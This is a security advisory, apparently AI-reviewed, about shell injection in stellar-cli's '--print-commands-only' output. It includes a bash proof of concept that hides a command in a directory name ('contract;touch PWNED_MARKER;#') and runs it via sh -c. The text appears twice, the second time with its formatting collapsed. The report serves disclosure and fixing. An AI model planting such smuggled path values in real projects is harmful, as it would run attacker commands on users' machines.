003: Printed Build Commands Allow Manifest Path Shell Injection
Date: 2026-04-17
Severity: Medium
Impact: command injection requiring user-controlled input
Subsystem: contract-lifecycle
Final review by: gpt-5.4, high
Summary
stellar contract build --print-commands-only prints a shell command string that escapes environment variable values but leaves command arguments unescaped. If the manifest path contains shell metacharacters such as ; and #, the printed output becomes a multi-command shell payload when copied into sh -c, eval, or similar automation.
Root Cause
Cmd::run() builds the real Cargo invocation safely with structured Command::arg() calls, but separately serializes that command into cmd_str for --print-commands-only. During serialization, environment variable values go through shell_escape::escape(), while cmd.get_args() are converted with raw to_string_lossy() and space-joined, so filesystem-controlled manifest paths are emitted without shell quoting.
Reproduction
During normal use, operators can point --manifest-path at any contract Cargo.toml, including one inside a cloned or extracted directory whose name contains shell metacharacters. The CLI prints that manifest path directly into the reproduction command, and any downstream workflow that executes the printed line as shell input will run attacker-controlled command fragments.
Affected Code
stellar-cli/cmd/soroban-cli/src/commands/contract/build.rs:Cmd::run:244-255 — builds --manifest-path=... from a filesystem path
stellar-cli/cmd/soroban-cli/src/commands/contract/build.rs:Cmd::run:286-303 — escapes env values but serializes command arguments without shell escaping before printing
PoC
- Target test file:
stellar-cli/poc/print-commands-manifest-injection
- Test name: print-commands-manifest-injection
- Test language: bash
- How to run:
- Run
cargo build from the repo root.
- Copy the script below to
poc/print-commands-manifest-injection.
- Run:
bash poc/print-commands-manifest-injection
Test Body
#!/usr/bin/env bash
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
STELLAR="$ROOT/target/debug/stellar"
WORKDIR="$(mktemp -d)"
trap 'rm -rf "$WORKDIR"' EXIT
PAYLOAD_MARKER="PWNED_MARKER"
MALICIOUS_DIR="$WORKDIR/contract;touch ${PAYLOAD_MARKER};#"
mkdir -p "$MALICIOUS_DIR/src"
cat > "$MALICIOUS_DIR/Cargo.toml" <<'TOML'
[package]
name = "poc-contract"
version = "0.0.1"
edition = "2021"
[lib]
crate-type = ["cdylib"]
TOML
cat > "$MALICIOUS_DIR/src/lib.rs" <<'RUST'
#![no_std]
RUST
OUTPUT="$("$STELLAR" contract build \
--manifest-path "$MALICIOUS_DIR/Cargo.toml" \
--print-commands-only 2>&1)"
printf '%s\n' "$OUTPUT"
if ! printf '%s\n' "$OUTPUT" | grep -q -- '--manifest-path=.*;touch PWNED_MARKER;#'; then
echo "missing unescaped payload in printed command" >&2
exit 1
fi
(
cd "$WORKDIR"
sh -c "$OUTPUT"
)
if [[ ! -f "$WORKDIR/$PAYLOAD_MARKER" ]]; then
echo "payload did not execute" >&2
exit 1
fi
echo "POC_PASS"
Expected vs Actual Behavior
- Expected:
--print-commands-only should emit a shell-safe reproduction of the build invocation, with manifest paths quoted or escaped so they remain a single argument when reused.
- Actual: the printed output includes raw manifest-path bytes, so shell metacharacters in the path split the printed command and execute attacker-controlled shell fragments.
Adversarial Review
- Exercises claimed bug: YES — the PoC drives the real
stellar contract build --print-commands-only path and demonstrates both the unescaped --manifest-path output and subsequent shell execution.
- Realistic preconditions: YES —
--manifest-path is a public CLI option, and project paths can come from cloned repositories, extracted archives, or workspace names chosen by another party.
- Bug vs by-design: BUG — the feature is documented as printing the commands that will be executed, and the implementation already shell-escapes env values, showing it intends to emit shell-reusable output.
- Final severity: Medium — exploitation requires user-controlled input plus a downstream shell evaluation step, but the impact is concrete command execution in common automation patterns.
- In scope: YES — this is a reproducible command-injection issue on a supported CLI path, not a purely theoretical misuse.
- Test correctness: CORRECT — the PoC first verifies the exact unescaped payload appears in the printed command, then proves shell execution by creating a marker file via
sh -c.
- Alternative explanations: NONE
- Novelty: NOVEL
Suggested Fix
Apply shell_escape::escape() (or equivalent shell quoting) to every serialized command argument in cmd_str, not just environment variable values. If the output is not intended to be shell-safe, change the help text and output format so users cannot mistake it for a reusable shell command.
003: Printed Build Commands Allow Manifest Path Shell Injection
Date: 2026-04-17
Severity: Medium
Impact: command injection requiring user-controlled input
Subsystem: contract-lifecycle
Final review by: gpt-5.4, high
Summary
stellar contract build --print-commands-onlyprints a shell command string that escapes environment variable values but leaves command arguments unescaped. If the manifest path contains shell metacharacters such as;and#, the printed output becomes a multi-command shell payload when copied intosh -c,eval, or similar automation.Root Cause
Cmd::run()builds the real Cargo invocation safely with structuredCommand::arg()calls, but separately serializes that command intocmd_strfor--print-commands-only. During serialization, environment variable values go throughshell_escape::escape(), whilecmd.get_args()are converted with rawto_string_lossy()and space-joined, so filesystem-controlled manifest paths are emitted without shell quoting.Reproduction
During normal use, operators can point
--manifest-pathat any contractCargo.toml, including one inside a cloned or extracted directory whose name contains shell metacharacters. The CLI prints that manifest path directly into the reproduction command, and any downstream workflow that executes the printed line as shell input will run attacker-controlled command fragments.Affected Code
stellar-cli/cmd/soroban-cli/src/commands/contract/build.rs:Cmd::run:244-255— builds--manifest-path=...from a filesystem pathstellar-cli/cmd/soroban-cli/src/commands/contract/build.rs:Cmd::run:286-303— escapes env values but serializes command arguments without shell escaping before printingPoC
stellar-cli/poc/print-commands-manifest-injectioncargo buildfrom the repo root.poc/print-commands-manifest-injection.bash poc/print-commands-manifest-injectionTest Body
Expected vs Actual Behavior
--print-commands-onlyshould emit a shell-safe reproduction of the build invocation, with manifest paths quoted or escaped so they remain a single argument when reused.Adversarial Review
stellar contract build --print-commands-onlypath and demonstrates both the unescaped--manifest-pathoutput and subsequent shell execution.--manifest-pathis a public CLI option, and project paths can come from cloned repositories, extracted archives, or workspace names chosen by another party.sh -c.Suggested Fix
Apply
shell_escape::escape()(or equivalent shell quoting) to every serialized command argument incmd_str, not just environment variable values. If the output is not intended to be shell-safe, change the help text and output format so users cannot mistake it for a reusable shell command.